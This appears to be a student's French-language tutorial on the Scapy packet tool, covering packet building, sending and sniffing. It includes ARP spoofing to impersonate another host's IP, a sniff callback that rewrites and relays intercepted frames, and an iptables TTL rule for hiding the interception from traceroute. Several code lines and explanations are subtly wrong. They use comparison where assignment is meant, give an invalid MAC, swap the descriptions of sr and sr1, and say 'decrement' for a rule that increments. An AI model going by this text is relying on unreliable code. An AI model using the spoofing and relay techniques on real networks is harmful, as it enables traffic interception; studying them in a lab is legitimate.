173 views
# TUTO SCAPI `sudo scapy`: ouvre scapy `A = Ether()` : crée un packet `A.show()` : montre le paquet et ce qu'il y a dans les entêtes de chaque couche (type, dst, src) `A.show2()`: pareil mais les champs qui doivent se calculer se calcul comme le checksum `A=Ether()/APR()` : encapsulation de ARP dans ethernet --> Attention il ne check rien Liste des protos : - Ether() - ARP() - TCP() - IP() - ICMP() - UDP() - ... `A[Ether].dst="00:00:00:00:00:00"`: modifie l'adresse ethernet de destination --> Attention quand on modifie un champ, il y a des protocoles dont les champs ont les mêmes noms donc il faut préciser :::info Bonne manière : `A[PROTO].dst` Si plusieurs IP les uns dans les autres : `A[PROTO][Nb].dst` ::: `A = Ether(...)` : créer un packet avec des paramètres (ex : `A=Ether(dst="11:11:11:11:11:11")`) `send(A, iface="X")` : envoyer un paquet IP (scapy recréé l'entête Ethernet) `sendp(A, iface="X")`: envoi le paquet sur le réseau, sur l'interface X (entête Ethernet créé préalablement par nous) :::danger Toujours spécifier `iface` quand on envoie/écoute ::: `A=Ether()/ARP(hwsrc="<@MAC_nous>", psrc="<IP_à_Voler>", hwdst="ff:ff:ff:ff:ff:ff", pdst="<IP_victime>, hwtype=0x... )` : créer un paquet pour voler l'IP de la personne pour qui on veut se faire passer (le ... sert à dire si c'est un whois (`0x1`) ou isat `0x2`). :::success Scapy c'est cool on peut écrire du python (boucles fonctions...), on peut faire un script commençant par `from scapy import *` ::: `rep = sr(A,iface="X")` : Send and reply : j'envoie et j'attends une réponse `rep, non_rep = sr1(A,iface="X")` : Send and reply : j'envoie et j'attends une réponse mais on peut avoir plusieurs réponses :::info Existe aussi en version srp (vis à vis d'ethernet) ::: Pour faire une liste de packets : `b=IP()/TCP(dport=[80,443])` - dports = A,B --> ports entre A et B - dports = [A,B] --> ports A et B :::danger Quand on envoie un syn avec scapy la carte réseau n'est pas au courant et envoie un RST pour empêcher`iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP` ::: `sniff(iface="X", lfilter=fonction_filtre, prn=fonction_chaque_paquet)` :nose: : Écouter le réseau - `iface` : interface sur laquelle on écoute - `count` : préciser combien de paquets on écoute - `filter` : filtre comme sur wireshark, peut prendre aussi - `lfilter` : filtre avec une fonction python (`lambda` ou `def`) - `prn` : on peut y ajouter une fonction de callback (`lambda` ou `def`) ex de fonction filtre : ```python def fonction_filtre(x): if x.haslayer(IP): // pour pas que ça plante sur les autres paquets return x[IP].dst=="192.168.1.1" def fonction_chaque_paquet(x): if x.haslayer(IP): x[IP].dst="192.168.1.2" send(x) def fonction_paquet(x): if x[Ether].src == "aa:aa:aa:aa:aa:aa": x[Ether].src ="ee:ee:ee:ee:ee:ee" x[Ether].dst == "bb:bb:bb:bb:bb:bb" sendp(x) if x[Ether].src == "bb:bb:bb:bb:bb:bb": x[Ether].src = "ee:ee:ee:ee:ee:ee" x[Ether].dst == "eaa:aa:aa:aa:aa:aa" sendp(x) ``` `a=IP()/TCP()/"coucou"` : créer un paquet avec une payload `a[Raw].load` : voir la load du paquet `a[Raw].load="toto"` : changer le contenu de la load Si on change le raw d'un TCP il faudra faire gaffe aux numéros d'aquittements ## Compléments ### cacher traceroute Pour ne pas que le traceroute détecte qu'on passe par l'attaquant, il faut décrémenter le TTL : `iptables -t mangle -i <dev> -j TTL --ttl-inc 1 -A PREROUTING` ### ne pas se faire bloquer ses packets sio n les modifie ```python del x[TCP].chksum # permet de faire recalculer les checksum niveua TCP () ```